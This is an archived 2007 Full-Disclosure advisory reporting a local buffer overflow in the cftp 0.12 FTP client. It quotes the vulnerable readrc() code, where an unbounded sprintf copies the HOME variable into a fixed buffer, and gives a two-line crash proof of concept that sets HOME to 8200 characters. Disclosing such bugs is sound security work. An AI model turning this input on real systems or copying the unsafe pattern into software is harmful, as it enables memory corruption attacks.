lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Mon, 19 Mar 2007 22:52:13 +0100
From: starcadi <>
To: listgrok <>
Subject: cftp 0.12 (readrc) Local buffer overflow


CFTP is Comfortable FTP, a full screen ftp client.
Supported are FTP both with active and passive data connections,
IPv4 and IPv6, and SFTP (a file transfer protocol using SSH for
authorization and connection encryption).
Found local buffer overflow in readrc() with sprintf() with no
sizelen control.

Source error:

readrc(char **userp, char **passp, char **hostp, char **portp, char **wdirp,
       int check_alias)
    FILE *f;
    char b[8192], *p, *tok, *q, *home;
    char *user, *pass, *host, *port, *wdir;

    if ((home=getenv("HOME")) == NULL)
	home = "";
    sprintf(b, "%s/.cftprc", home);

    if ((f=fopen(b, "r")) == NULL) {
	if (errno == ENOENT)
	    return 0;
	return -1;

error in sprintf(), no sizelen control in getenv().

Proof of concept:

$ export HOME=`perl -e "print 'A'x8200"`
$ cftp
Segmentation fault

~ starcadi

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -

Powered by blists - more mailing lists